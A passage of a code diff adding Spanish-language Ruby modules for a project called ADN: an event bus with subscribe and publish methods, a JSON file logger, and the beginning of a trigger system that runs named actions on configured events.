||||
sistema_iniciado: :sistema_iniciado,
|
||||
validacion_completada: :validacion_completada,
|
||||
error_sistema: :error_sistema,
|
||||
advertencia_sistema: :advertencia_sistema
|
||||
}.freeze
|
||||
|
||||
# Inicializa el bus de eventos
|
||||
def initialize
|
||||
@suscriptores = Hash.new { |hash, key| hash[key] = [] }
|
||||
@logger = ADN.logger
|
||||
@mutex = Mutex.new
|
||||
@logger.debug('Bus de eventos ADN inicializado')
|
||||
end
|
||||
|
||||
# Registra un suscriptor para un tipo de evento
|
||||
#
|
||||
# @param evento [Symbol, String] Tipo de evento al que suscribirse
|
||||
# @param bloque [Proc] Bloque a ejecutar cuando se publique el evento
|
||||
# @param identificador [String] Identificador opcional para el suscriptor
|
||||
# @return [String] Identificador del suscriptor
|
||||
def suscriptor(evento, identificador = nil, &bloque)
|
||||
evento_normalizado = normalizar_evento(evento)
|
||||
|
||||
@mutex.synchronize do
|
||||
id = identificador || "suscriptor_#{@suscriptores[evento_normalizado].length + 1}"
|
||||
@suscriptores[evento_normalizado] << { id: id, bloque: bloque }
|
||||
@logger.debug("Suscriptor registrado: #{id} para evento #{evento_normalizado}")
|
||||
id
|
||||
end
|
||||
end
|
||||
|
||||
# Publica un evento a todos los suscriptores registrados
|
||||
#
|
||||
# @param evento [Symbol, String] Tipo de evento a publicar
|
||||
# @param datos [Hash] Datos asociados al evento
|
||||
# @param opciones [Hash] Opciones de publicación
|
||||
# @option opciones [Boolean] :async Ejecutar suscriptores en hilos separados
|
||||
# @option opciones [Boolean] :silencioso No loggear la publicación
|
||||
# @return [Array<Hash>] Resultados de la ejecución de suscriptores
|
||||
def publicar(evento, datos = {}, opciones = {})
|
||||
evento_normalizado = normalizar_evento(evento)
|
||||
suscriptores = @suscriptores[evento_normalizado].dup
|
||||
|
||||
return [] if suscriptores.empty?
|
||||
|
||||
@logger.debug("Publicando evento #{evento_normalizado} a #{suscriptores.length} suscriptor(es)", datos) unless opciones[:silencioso]
|
||||
|
||||
resultados = []
|
||||
suscriptores.each do |suscriptor|
|
||||
resultado = ejecutar_suscriptor(suscriptor, evento_normalizado, datos, opciones)
|
||||
resultados << resultado if resultado
|
||||
end
|
||||
|
||||
resultados
|
||||
end
|
||||
|
||||
# Elimina un suscriptor específico
|
||||
#
|
||||
# @param evento [Symbol, String] Tipo de evento
|
||||
# @param identificador [String] Identificador del suscriptor a eliminar
|
||||
# @return [Boolean] true si se eliminó, false si no se encontró
|
||||
def eliminar_suscriptor(evento, identificador)
|
||||
evento_normalizado = normalizar_evento(evento)
|
||||
|
||||
@mutex.synchronize do
|
||||
inicial = @suscriptores[evento_normalizado].length
|
||||
@suscriptores[evento_normalizado].reject! { |s| s[:id] == identificador }
|
||||
eliminados = inicial - @suscriptores[evento_normalizado].length
|
||||
|
||||
if eliminados > 0
|
||||
@logger.debug("Suscriptor eliminado: #{identificador} del evento #{evento_normalizado}")
|
||||
true
|
||||
else
|
||||
@logger.advertencia("Suscriptor no encontrado: #{identificador} para evento #{evento_normalizado}")
|
||||
false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Elimina todos los suscriptores de un evento
|
||||
#
|
||||
# @param evento [Symbol, String] Tipo de evento
|
||||
# @return [Integer] Número de suscriptores eliminados
|
||||
def limpiar_suscriptores(evento = nil)
|
||||
@mutex.synchronize do
|
||||
if evento.nil?
|
||||
total = @suscriptores.values.flatten.length
|
||||
@suscriptores.clear
|
||||
@logger.debug("Todos los suscriptores eliminados (#{total} total)")
|
||||
total
|
||||
else
|
||||
evento_normalizado = normalizar_evento(evento)
|
||||
eliminados = @suscriptores[evento_normalizado].length
|
||||
@suscriptores.delete(evento_normalizado)
|
||||
@logger.debug("#{eliminados} suscriptor(es) eliminados del evento #{evento_normalizado}")
|
||||
eliminados
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Lista todos los eventos con suscriptores
|
||||
#
|
||||
# @return [Hash] Mapa de evento -> número de suscriptores
|
||||
def lista_suscriptores
|
||||
resultado = {}
|
||||
@mutex.synchronize do
|
||||
@suscriptores.each do |evento, suscriptores|
|
||||
resultado[evento] = suscriptores.length
|
||||
end
|
||||
end
|
||||
resultado
|
||||
end
|
||||
|
||||
# Verifica si hay suscriptores para un evento
|
||||
#
|
||||
# @param evento [Symbol, String] Tipo de evento
|
||||
# @return [Boolean] true si hay suscriptores
|
||||
def tiene_suscriptores?(evento)
|
||||
evento_normalizado = normalizar_evento(evento)
|
||||
!@suscriptores[evento_normalizado].empty?
|
||||
end
|
||||
|
||||
# Métodos de conveniencia para eventos comunes
|
||||
|
||||
# Publica un evento de archivo modificado
|
||||
#
|
||||
# @param ruta [String] Ruta del archivo modificado
|
||||
# @param tipo [String] Tipo de archivo (bitacora, nodo, proyecto, hebra)
|
||||
# @param accion [String] Acción (creado, modificado, eliminado)
|
||||
# @param datos_extra [Hash] Datos adicionales
|
||||
def archivo_modificado(ruta, tipo, accion, datos_extra = {})
|
||||
datos = {
|
||||
ruta: ruta,
|
||||
tipo: tipo,
|
||||
accion: accion,
|
||||
timestamp: Time.now.utc
|
||||
}.merge(datos_extra)
|
||||
|
||||
evento = case tipo
|
||||
when 'bitacora' then :bitacora_modificada
|
||||
when 'nodo' then :nodo_modificado
|
||||
when 'proyecto' then :proyecto_modificado
|
||||
when 'hebra' then :hebra_adn_modificada
|
||||
else :archivo_modificado
|
||||
end
|
||||
|
||||
publicar(evento, datos)
|
||||
end
|
||||
|
||||
# Publica un evento de estado cambiado
|
||||
#
|
||||
# @param entidad [String] Tipo de entidad (nodo, proyecto, tarea)
|
||||
# @param nombre [String] Nombre de la entidad
|
||||
# @param estado_anterior [String] Estado anterior
|
||||
# @param estado_nuevo [String] Estado nuevo
|
||||
# @param datos_extra [Hash] Datos adicionales
|
||||
def estado_cambiado(entidad, nombre, estado_anterior, estado_nuevo, datos_extra = {})
|
||||
datos = {
|
||||
entidad: entidad,
|
||||
nombre: nombre,
|
||||
estado_anterior: estado_anterior,
|
||||
estado_nuevo: estado_nuevo,
|
||||
timestamp: Time.now.utc
|
||||
}.merge(datos_extra)
|
||||
|
||||
publicar(:estado_cambiado, datos)
|
||||
end
|
||||
|
||||
# Publica un evento de error detectado
|
||||
#
|
||||
# @param tipo [String] Tipo de error (formato, validacion, sistema)
|
||||
# @param ubicacion [String] Ubicación del error (archivo, módulo)
|
||||
# @param mensaje [String] Mensaje descriptivo del error
|
||||
# @param severidad [String] Severidad (baja, media, alta, critica)
|
||||
# @param datos_extra [Hash] Datos adicionales
|
||||
def error_detectado(tipo, ubicacion, mensaje, severidad = 'media', datos_extra = {})
|
||||
datos = {
|
||||
tipo: tipo,
|
||||
ubicacion: ubicacion,
|
||||
mensaje: mensaje,
|
||||
severidad: severidad,
|
||||
timestamp: Time.now.utc
|
||||
}.merge(datos_extra)
|
||||
|
||||
publicar(:error_formato_detectado, datos)
|
||||
end
|
||||
|
||||
# Publica un evento de validación completada
|
||||
#
|
||||
# @param tipo [String] Tipo de validación (bitacoras, nodos, proyectos, completa)
|
||||
# @param resultados [Hash] Resultados de la validación
|
||||
def validacion_completada(tipo, resultados)
|
||||
datos = {
|
||||
tipo: tipo,
|
||||
resultados: resultados,
|
||||
timestamp: Time.now.utc
|
||||
}
|
||||
|
||||
publicar(:validacion_completada, datos)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Normaliza un evento a símbolo
|
||||
#
|
||||
# @param evento [Symbol, String] Evento a normalizar
|
||||
# @return [Symbol] Evento normalizado
|
||||
def normalizar_evento(evento)
|
||||
evento.to_s.to_sym
|
||||
end
|
||||
|
||||
# Ejecuta un suscriptor individual con manejo de errores
|
||||
#
|
||||
# @param suscriptor [Hash] Información del suscriptor
|
||||
# @param evento [Symbol] Evento que se está publicando
|
||||
# @param datos [Hash] Datos del evento
|
||||
# @param opciones [Hash] Opciones de publicación
|
||||
# @return [Hash] Resultado de la ejecución
|
||||
def ejecutar_suscriptor(suscriptor, evento, datos, opciones)
|
||||
id = suscriptor[:id]
|
||||
bloque = suscriptor[:bloque]
|
||||
|
||||
inicio = Time.now
|
||||
begin
|
||||
resultado = bloque.call(datos.dup.freeze)
|
||||
duracion = Time.now - inicio
|
||||
|
||||
{
|
||||
suscriptor: id,
|
||||
evento: evento,
|
||||
exito: true,
|
||||
duracion: duracion,
|
||||
resultado: resultado,
|
||||
timestamp: inicio
|
||||
}
|
||||
rescue => e
|
||||
duracion = Time.now - inicio
|
||||
@logger.error("Error en suscriptor #{id} para evento #{evento}: #{e.message}", {
|
||||
backtrace: e.backtrace.take(5),
|
||||
evento: evento,
|
||||
datos: datos
|
||||
})
|
||||
|
||||
{
|
||||
suscriptor: id,
|
||||
evento: evento,
|
||||
exito: false,
|
||||
duracion: duracion,
|
||||
error: e.message,
|
||||
backtrace: e.backtrace.take(5),
|
||||
timestamp: inicio
|
||||
}
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Acceso global al bus de eventos
|
||||
#
|
||||
# @return [ADN::Eventos] Instancia singleton del bus de eventos
|
||||
def self.eventos
|
||||
Eventos.instance
|
||||
end
|
||||
end
|
||||
|
||||
# ─── Notas de uso ──────────────────────────────────────────────────────
|
||||
#
|
||||
# Ejemplo de suscripción:
|
||||
# ADN.eventos.suscriptor(:bitacora_creada) do |datos|
|
||||
# puts "Nueva bitácora creada: #{datos[:ruta]}"
|
||||
# end
|
||||
#
|
||||
# Ejemplo de publicación:
|
||||
# ADN.eventos.publicar(:bitacora_creada, {
|
||||
# ruta: 'bitacoras/2026-03-07.md',
|
||||
# fecha: Date.today
|
||||
# })
|
||||
#
|
||||
# Ejemplo de publicación con método de conveniencia:
|
||||
# ADN.eventos.archivo_modificado(
|
||||
# 'bitacoras/2026-03-07.md',
|
||||
# 'bitacora',
|
||||
# 'creado'
|
||||
# )
|
||||
#
|
||||
# El bus de eventos es especialmente útil para:
|
||||
# - Implementar triggers basados en eventos
|
||||
# - Desacoplar componentes del sistema
|
||||
# - Facilitar la extensibilidad mediante plugins
|
||||
# - Loggear actividades del sistema de forma centralizada
|
||||
#
|
||||
@@ -0,0 +1,228 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
# adn/tools/logger.rb — Logger estructurado JSON para el sistema ADN
|
||||
# ====================================================================
|
||||
# Este módulo proporciona logging estructurado en JSON para todas las
|
||||
# herramientas del sistema ADN. Los logs se almacenan en `logs/adn/`
|
||||
# con rotación diaria automática.
|
||||
|
||||
require 'json'
|
||||
require 'fileutils'
|
||||
require 'date'
|
||||
require 'time'
|
||||
|
||||
module ADN
|
||||
class Logger
|
||||
# Niveles de log soportados
|
||||
NIVELES = %w[DEBUG INFO EXITO ADVERTENCIA ERROR].freeze
|
||||
|
||||
require_relative 'colores'
|
||||
|
||||
# Inicializa el logger
|
||||
#
|
||||
# @param opts [Hash] Opciones de configuración
|
||||
# @option opts [String] :directorio Directorio para logs (default: logs/adn/)
|
||||
# @option opts [Boolean] :terminal Mostrar logs en terminal (default: true)
|
||||
# @option opts [Boolean] :colores Usar colores en terminal (default: true)
|
||||
# @option opts [String] :archivo Nombre base del archivo de log (default: fecha actual)
|
||||
def initialize(opts = {})
|
||||
@directorio = opts[:directorio] || File.join(File.expand_path('../../..', __dir__), 'logs', 'adn')
|
||||
@mostrar_terminal = opts.fetch(:terminal, true)
|
||||
@usar_colores = opts.fetch(:colores, true)
|
||||
@archivo_base = opts[:archivo] || Date.today.iso8601
|
||||
|
||||
# Crear directorio si no existe
|
||||
FileUtils.mkdir_p(@directorio) unless Dir.exist?(@directorio)
|
||||
|
||||
# Ruta completa del archivo de log
|
||||
@ruta_log = File.join(@directorio, "#{@archivo_base}.log")
|
||||
|
||||
# Buffer para logs (útil para pruebas o modo batch)
|
||||
@buffer = []
|
||||
end
|
||||
|
||||
# Registra un mensaje de nivel DEBUG
|
||||
#
|
||||
# @param mensaje [String] Mensaje descriptivo
|
||||
# @param datos [Hash] Datos adicionales estructurados
|
||||
# @param opts [Hash] Opciones adicionales
|
||||
# @option opts [Boolean] :silencioso No mostrar en terminal
|
||||
def debug(mensaje, datos = {}, opts = {})
|
||||
escribir('DEBUG', mensaje, datos, opts)
|
||||
mostrar_terminal('🐛', mensaje, Color::DIM, opts) if debug_activado?
|
||||
end
|
||||
|
||||
# Registra un mensaje de nivel INFO
|
||||
#
|
||||
# @param mensaje [String] Mensaje descriptivo
|
||||
# @param datos [Hash] Datos adicionales estructurados
|
||||
# @param opts [Hash] Opciones adicionales
|
||||
# @option opts [Boolean] :silencioso No mostrar en terminal
|
||||
def info(mensaje, datos = {}, opts = {})
|
||||
escribir('INFO', mensaje, datos, opts)
|
||||
mostrar_terminal('ℹ', mensaje, Color::CYAN, opts)
|
||||
end
|
||||
|
||||
# Registra un mensaje de nivel ÉXITO
|
||||
#
|
||||
# @param mensaje [String] Mensaje descriptivo
|
||||
# @param datos [Hash] Datos adicionales estructurados
|
||||
# @param opts [Hash] Opciones adicionales
|
||||
# @option opts [Boolean] :silencioso No mostrar en terminal
|
||||
def exito(mensaje, datos = {}, opts = {})
|
||||
escribir('EXITO', mensaje, datos, opts)
|
||||
mostrar_terminal('✓', mensaje, Color::GREEN, opts)
|
||||
end
|
||||
|
||||
# Registra un mensaje de nivel ADVERTENCIA
|
||||
#
|
||||
# @param mensaje [String] Mensaje descriptivo
|
||||
# @param datos [Hash] Datos adicionales estructurados
|
||||
# @param opts [Hash] Opciones adicionales
|
||||
# @option opts [Boolean] :silencioso No mostrar en terminal
|
||||
def advertencia(mensaje, datos = {}, opts = {})
|
||||
escribir('ADVERTENCIA', mensaje, datos, opts)
|
||||
mostrar_terminal('⚠', mensaje, Color::YELLOW, opts)
|
||||
end
|
||||
|
||||
# Alias inglés para advertencia
|
||||
#
|
||||
# @param mensaje [String] Mensaje descriptivo
|
||||
# @param datos [Hash] Datos adicionales estructurados
|
||||
# @param opts [Hash] Opciones adicionales
|
||||
# @option opts [Boolean] :silencioso No mostrar en terminal
|
||||
def warn(mensaje, datos = {}, opts = {})
|
||||
advertencia(mensaje, datos, opts)
|
||||
end
|
||||
|
||||
# Registra un mensaje de nivel ERROR
|
||||
#
|
||||
# @param mensaje [String] Mensaje descriptivo
|
||||
# @param datos [Hash] Datos adicionales estructurados
|
||||
# @param opts [Hash] Opciones adicionales
|
||||
# @option opts [Boolean] :silencioso No mostrar en terminal
|
||||
def error(mensaje, datos = {}, opts = {})
|
||||
escribir('ERROR', mensaje, datos, opts)
|
||||
mostrar_terminal('✗', mensaje, Color::RED, opts)
|
||||
end
|
||||
|
||||
# Muestra una sugerencia de comandos ADN a utilizar
|
||||
#
|
||||
# @param comandos [String, Array<String>] Comando o comandos sugeridos
|
||||
def sugerencia(comandos)
|
||||
comandos = [comandos] unless comandos.is_a?(Array)
|
||||
puts ""
|
||||
puts " 💡 #{Color::BOLD}Sugerencia:#{Color::RESET} Podés solucionar esto usando las herramientas ADN:"
|
||||
comandos.each do |cmd|
|
||||
puts " #{Color::CYAN}#{cmd}#{Color::RESET}"
|
||||
end
|
||||
puts ""
|
||||
end
|
||||
|
||||
# Obtiene los logs almacenados en buffer
|
||||
#
|
||||
# @return [Array<Hash>] Logs en buffer
|
||||
def buffer
|
||||
@buffer.dup
|
||||
end
|
||||
|
||||
# Limpia el buffer interno
|
||||
def limpiar_buffer
|
||||
@buffer.clear
|
||||
end
|
||||
|
||||
# Cierra cualquier recurso del logger (archivos abiertos, etc.)
|
||||
def cerrar
|
||||
# Por ahora no hay recursos persistentes abiertos
|
||||
true
|
||||
end
|
||||
|
||||
# Verifica si el debug está activado (variable de entorno ADN_DEBUG)
|
||||
#
|
||||
# @return [Boolean]
|
||||
def debug_activado?
|
||||
ENV['ADN_DEBUG'] == '1' || ENV['ADN_DEBUG'] == 'true'
|
||||
end
|
||||
|
||||
# Ruta actual del archivo de log
|
||||
#
|
||||
# @return [String]
|
||||
def ruta_log
|
||||
@ruta_log
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Escribe una entrada de log en formato JSON
|
||||
#
|
||||
# @param nivel [String] Nivel del log
|
||||
# @param mensaje [String] Mensaje descriptivo
|
||||
# @param datos [Hash] Datos adicionales estructurados
|
||||
# @param opts [Hash] Opciones adicionales
|
||||
def escribir(nivel, mensaje, datos, opts)
|
||||
entrada = {
|
||||
timestamp: Time.now.utc.strftime('%Y-%m-%dT%H:%M:%S%z'),
|
||||
nivel: nivel,
|
||||
mensaje: mensaje,
|
||||
datos: datos.reject { |k, _| k == :silencioso }, # Excluir opciones internas
|
||||
herramienta: opts[:herramienta] || determinar_herramienta_llamante
|
||||
}
|
||||
|
||||
# Agregar al buffer
|
||||
@buffer << entrada.dup
|
||||
|
||||
# Escribir al archivo
|
||||
File.open(@ruta_log, 'a') do |archivo|
|
||||
archivo.puts(entrada.to_json)
|
||||
end
|
||||
end
|
||||
|
||||
# Muestra el mensaje en terminal (si está habilitado)
|
||||
#
|
||||
# @param icono [String] Icono para representar el nivel
|
||||
# @param mensaje [String] Mensaje a mostrar
|
||||
# @param color [String] Código ANSI de color
|
||||
# @param opts [Hash] Opciones adicionales
|
||||
def mostrar_terminal(icono, mensaje, color, opts)
|
||||
return unless @mostrar_terminal && !opts[:silencioso]
|
||||
|
||||
if @usar_colores
|
||||
puts "#{color}#{icono} #{mensaje}#{Color::RESET}"
|
||||
else
|
||||
puts "#{icono} #{mensaje}"
|
||||
end
|
||||
end
|
||||
|
||||
# Intenta determinar qué herramienta llamó al logger
|
||||
#
|
||||
# @return [String] Nombre de la herramienta
|
||||
def determinar_herramienta_llamante
|
||||
# Obtener el backtrace y buscar llamadas desde adn/tools/
|
||||
caller_locations.each do |loc|
|
||||
ruta = loc.absolute_path || loc.path
|
||||
if ruta.include?('adn/tools')
|
||||
# Extraer nombre del archivo sin extensión
|
||||
nombre = File.basename(ruta, '.*')
|
||||
return "adn.#{nombre}" unless nombre.empty?
|
||||
end
|
||||
end
|
||||
|
||||
'adn.desconocido'
|
||||
end
|
||||
end
|
||||
|
||||
# Logger global preconfigurado para uso rápido
|
||||
#
|
||||
# @return [ADN::Logger]
|
||||
def self.logger
|
||||
@logger ||= Logger.new
|
||||
end
|
||||
|
||||
# Configura el logger global
|
||||
#
|
||||
# @param opts [Hash] Opciones de configuración
|
||||
# @return [ADN::Logger]
|
||||
def self.configurar_logger(opts = {})
|
||||
@logger = Logger.new(opts)
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,525 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
# adn/tools/triggers.rb — Sistema de triggers para sincronización automática del ADN
|
||||
# =============================================================================
|
||||
# Este módulo implementa el sistema de triggers definido en adn/triggers.yml.
|
||||
# Los triggers implementan el Principio de Armonía Integral al propagar
|
||||
# automáticamente cambios entre diferentes componentes del sistema ADN.
|
||||
#
|
||||
# 📅 Última actualización: 2026-03-07 (Fase 2: Automatización Inteligente)
|
||||
# 📚 Referencia: adn/triggers.yml (configuración)
|
||||
# 📚 Plan: docs/plan/260307-1400_Plan_Mejoras_ADN.md
|
||||
# 🔗 Integración: adn/tools/eventos.rb (bus de eventos)
|
||||
|
||||
require 'yaml'
|
||||
require 'singleton'
|
||||
|
||||
|
||||
require_relative 'eventos'
|
||||
|
||||
module ADN
|
||||
class Triggers
|
||||
include Singleton
|
||||
|
||||
# Inicializa el sistema de triggers
|
||||
def initialize
|
||||
@config_path = File.join(ADN::PROJECT_ROOT, 'adn', 'triggers.yml')
|
||||
@config = nil
|
||||
@suscriptores_registrados = {}
|
||||
@logger = ADN.logger
|
||||
@mutex = Mutex.new
|
||||
@logger.debug('Sistema de triggers ADN inicializado')
|
||||
end
|
||||
|
||||
# Carga la configuración de triggers desde el archivo YAML
|
||||
#
|
||||
# @return [Hash] Configuración cargada
|
||||
# @raise [Errno::ENOENT] Si el archivo no existe
|
||||
# @raise [Psych::SyntaxError] Si el YAML es inválido
|
||||
def cargar_configuracion
|
||||
unless File.exist?(@config_path)
|
||||
@logger.advertencia("Archivo de configuración de triggers no encontrado: #{@config_path}")
|
||||
return {}
|
||||
end
|
||||
|
||||
begin
|
||||
@config = YAML.load_file(@config_path, permitted_classes: [Date, Time, Symbol])
|
||||
@logger.info("Configuración de triggers cargada desde #{@config_path}")
|
||||
@config
|
||||
rescue Psych::SyntaxError => e
|
||||
@logger.error("Error de sintaxis YAML en #{@config_path}: #{e.message}")
|
||||
raise
|
||||
rescue => e
|
||||
@logger.error("Error cargando configuración de triggers: #{e.message}")
|
||||
raise
|
||||
end
|
||||
end
|
||||
|
||||
# Obtiene la configuración actual (carga si es necesario)
|
||||
#
|
||||
# @return [Hash] Configuración actual
|
||||
def configuracion
|
||||
@config || cargar_configuracion
|
||||
end
|
||||
|
||||
# Registra todos los triggers configurados en el bus de eventos
|
||||
#
|
||||
# @return [Integer] Número de triggers registrados
|
||||
def registrar_triggers
|
||||
config = configuracion
|
||||
return 0 unless config['configuracion'] && config['configuracion']['sistema_habilitado']
|
||||
|
||||
@mutex.synchronize do
|
||||
limpiar_triggers_registrados
|
||||
|
||||
total_registrados = 0
|
||||
|
||||
# Registrar triggers de cada categoría
|
||||
%w[bitacoras nodos proyectos adn].each do |categoria|
|
||||
next unless config[categoria]
|
||||
|
||||
config[categoria].each do |trigger_def|
|
||||
next unless trigger_def['habilitado']
|
||||
|
||||
registrar_trigger_individual(trigger_def, categoria)
|
||||
total_registrados += 1
|
||||
end
|
||||
end
|
||||
|
||||
@logger.exito("#{total_registrados} trigger(s) registrado(s) en el bus de eventos")
|
||||
total_registrados
|
||||
end
|
||||
end
|
||||
|
||||
# Ejecuta todos los triggers registrados (para modo batch/cron)
|
||||
#
|
||||
# @param opciones [Hash] Opciones de ejecución
|
||||
# @option opciones [Boolean] :forzar Ejecutar incluso si sistema deshabilitado
|
||||
# @option opciones [Array<String>] :categorias Categorías específicas a ejecutar
|
||||
# @return [Hash] Resultados de la ejecución
|
||||
def ejecutar_triggers(opciones = {})
|
||||
resultados = {
|
||||
timestamp: Time.now.utc,
|
||||
total_ejecutados: 0,
|
||||
exitosos: 0,
|
||||
fallidos: 0,
|
||||
detalles: []
|
||||
}
|
||||
|
||||
config = configuracion
|
||||
|
||||
# Verificar si el sistema está habilitado
|
||||
unless config['configuracion'] && (config['configuracion']['sistema_habilitado'] || opciones[:forzar])
|
||||
@logger.advertencia('Sistema de triggers deshabilitado (usar --forzar para ejecutar de todos modos)')
|
||||
return resultados
|
||||
end
|
||||
|
||||
categorias = opciones[:categorias] || %w[bitacoras nodos proyectos adn]
|
||||
|
||||
categorias.each do |categoria|
|
||||
next unless config[categoria]
|
||||
|
||||
config[categoria].each do |trigger_def|
|
||||
next unless trigger_def['habilitado']
|
||||
|
||||
resultado = ejecutar_trigger_individual(trigger_def, categoria, opciones)
|
||||
resultados[:detalles] << resultado
|
||||
resultados[:total_ejecutados] += 1
|
||||
resultados[resultado[:exito] ? :exitosos : :fallidos] += 1
|
||||
end
|
||||
end
|
||||
|
||||
resultados
|
||||
end
|
||||
|
||||
# Prueba un trigger específico sin afectar el sistema
|
||||
#
|
||||
# @param identificador [String] Identificador del trigger a probar
|
||||
# @param datos_simulados [Hash] Datos para simular el evento
|
||||
# @return [Hash] Resultado de la prueba
|
||||
def probar_trigger(identificador, datos_simulados = {})
|
||||
trigger = buscar_trigger_por_identificador(identificador)
|
||||
|
||||
unless trigger
|
||||
@logger.error("Trigger no encontrado: #{identificador}")
|
||||
return { exito: false, error: "Trigger no encontrado: #{identificador}" }
|
||||
end
|
||||
|
||||
@logger.info("Probando trigger: #{identificador}")
|
||||
|
||||
resultado = {
|
||||
trigger: identificador,
|
||||
timestamp: Time.now.utc,
|
||||
datos_simulados: datos_simulados
|
||||
}
|
||||
|
||||
begin
|
||||
# Simular la ejecución sin efectos reales
|
||||
accion_resultado = simular_accion(trigger['accion'], trigger['categoria'], datos_simulados)
|
||||
|
||||
resultado.merge!(
|
||||
exito: true,
|
||||
accion_simulada: accion_resultado,
|
||||
mensaje: "Trigger probado exitosamente (modo simulación)"
|
||||
)
|
||||
rescue => e
|
||||
resultado.merge!(
|
||||
exito: false,
|
||||
error: e.message,
|
||||
backtrace: e.backtrace.take(5)
|
||||
)
|
||||
@logger.error("Error probando trigger #{identificador}: #{e.message}")
|
||||
end
|
||||
|
||||
resultado
|
||||
end
|
||||
|
||||
# Obtiene información sobre todos los triggers configurados
|
||||
#
|
||||
# @return [Array<Hash>] Lista de triggers con información detallada
|
||||
def lista_triggers
|
||||
config = configuracion
|
||||
triggers = []
|
||||
|
||||
%w[bitacoras nodos proyectos adn].each do |categoria|
|
||||
next unless config[categoria]
|
||||
|
||||
config[categoria].each_with_index do |trigger_def, index|
|
||||
triggers << {
|
||||
id: "#{categoria}_#{index}",
|
||||
categoria: categoria,
|
||||
evento: trigger_def['evento'],
|
||||
condicion: trigger_def['condicion'],
|
||||
accion: trigger_def['accion'],
|
||||
descripcion: trigger_def['descripcion'],
|
||||
habilitado: trigger_def['habilitado'],
|
||||
suscriptores_registrados: @suscriptores_registrados["#{categoria}_#{index}"] || 0
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
triggers
|
||||
end
|
||||
|
||||
# Limpia todos los triggers registrados del bus de eventos
|
||||
#
|
||||
# @return [Integer] Número de triggers limpiados
|
||||
def limpiar_triggers_registrados
|
||||
total = 0
|
||||
|
||||
@suscriptores_registrados.each do |trigger_id, _|
|
||||
ADN.eventos.eliminar_suscriptor(trigger_id, "trigger_#{trigger_id}")
|
||||
total += 1
|
||||
end
|
||||
|
||||
@suscriptores_registrados.clear
|
||||
@logger.debug("#{total} trigger(s) limpiados del bus de eventos")
|
||||
total
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Registra un trigger individual en el bus de eventos
|
||||
#
|
||||
# @param trigger_def [Hash] Definición del trigger
|
||||
# @param categoria [String] Categoría del trigger
|
||||
# @param index [Integer] Índice dentro de la categoría
|
||||
def registrar_trigger_individual(trigger_def, categoria, index = nil)
|
||||
evento = trigger_def['evento']
|
||||
condicion = trigger_def['condicion']
|
||||
accion = trigger_def['accion']
|
||||
descripcion = trigger_def['descripcion']
|
||||
|
||||
trigger_id = index ? "#{categoria}_#{index}" : "#{categoria}_#{Time.now.to_i}"
|
||||
|
||||
# Registrar en el bus de eventos
|
||||
suscriptor_id = ADN.eventos.suscriptor(evento, "trigger_#{trigger_id}") do |datos|
|
||||
ejecutar_accion_si_cumple_condicion(accion, condicion, datos, trigger_id)
|
||||
end
|
||||
|
||||
@suscriptores_registrados[trigger_id] = {
|
||||
evento: evento,
|
||||
condicion: condicion,
|
||||
accion: accion,
|
||||
descripcion: descripcion,
|
||||
suscriptor_id: suscriptor_id
|
||||
}
|
||||
|
||||
@logger.debug("Trigger registrado: #{trigger_id} (#{descripcion})")
|
||||
end
|
||||
|
||||
# Ejecuta una acción si se cumple la condición
|
||||
#
|
||||
# @param accion [String] Acción a ejecutar
|
||||
# @param condicion [String] Condición a evaluar
|
||||
# @param datos [Hash] Datos del evento
|
||||
# @param trigger_id [String] Identificador del trigger
|
||||
def ejecutar_accion_si_cumple_condicion(accion, condicion, datos, trigger_id)
|
||||
# Evaluar condición si existe
|
||||
if condicion && !condicion.empty?
|
||||
unless evaluar_condicion(condicion, datos)
|
||||
@logger.debug("Condición no cumplida para trigger #{trigger_id}")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
# Ejecutar acción
|
||||
ejecutar_accion(accion, datos, trigger_id)
|
||||
end
|
||||
|
||||
# Evalúa una condición contra los datos del evento
|
||||
#
|
||||
# @param condicion [String] Expresión de condición
|
||||
# @param datos [Hash] Datos del evento
|
||||
# @return [Boolean] true si la condición se cumple
|
||||
def evaluar_condicion(condicion, datos)
|
||||
# Implementación básica - en una versión futura podría usar un parser
|
||||
# Para ahora, solo verifica condiciones simples
|
||||
|
||||
case condicion
|
||||
when /estado_anterior == '([^']+)' and estado_nuevo == '([^']+)'/
|
||||
estado_anterior_esperado = $1
|
||||
estado_nuevo_esperado = $2
|
||||
|
||||
datos[:estado_anterior] == estado_anterior_esperado &&
|
||||
datos[:estado_nuevo] == estado_nuevo_esperado
|
||||
when /estado_nuevo == '([^']+)'/
|
||||
datos[:estado_nuevo] == $1
|
||||
when /estado_tema == '([^']+)'/
|
||||
datos[:estado_tema] == $1
|
||||
else
|
||||
# Si no reconocemos la condición, asumimos que se cumple
|
||||
# (para triggers sin condición explícita)
|
||||
true
|
||||
end
|
||||
end
|
||||
|
||||
# Ejecuta una acción específica
|
||||
#
|
||||
# @param accion [String] Nombre de la acción
|
||||
# @param datos [Hash] Datos del evento
|
||||
# @param trigger_id [String] Identificador del trigger
|
||||
def ejecutar_accion(accion, datos, trigger_id)
|
||||
inicio = Time.now
|
||||
|
||||
@logger.info("Ejecutando acción #{accion} (trigger: #{trigger_id})")
|
||||
|
||||
begin
|
||||
resultado = case accion
|
||||
when 'actualizar_detalle_en_proceso'
|
||||
accion_actualizar_detalle_en_proceso(datos)
|
||||
when 'actualizar_resumen_integral'
|
||||
accion_actualizar_resumen_integral(datos)
|
||||
when 'ejecutar_rollover'
|
||||
accion_ejecutar_rollover(datos)
|
||||
when 'extraer_metricas_telemetria'
|
||||
accion_extraer_metricas_telemetria(datos)
|
||||
when 'validar_formato_adn'
|
||||
accion_validar_formato_adn(datos)
|
||||
when 'actualizar_ontologia'
|
||||
accion_actualizar_ontologia(datos)
|
||||
when 'vincular_nodo_a_proyectos'
|
||||
accion_vincular_nodo_a_proyectos(datos)
|
||||
when 'actualizar_dashboard_estados'
|
||||
accion_actualizar_dashboard_estados(datos)
|
||||
when 'registrar_en_bitacora'
|
||||
accion_registrar_en_bitacora(datos)
|
||||
when 'actualizar_referencias_cruzadas'
|
||||
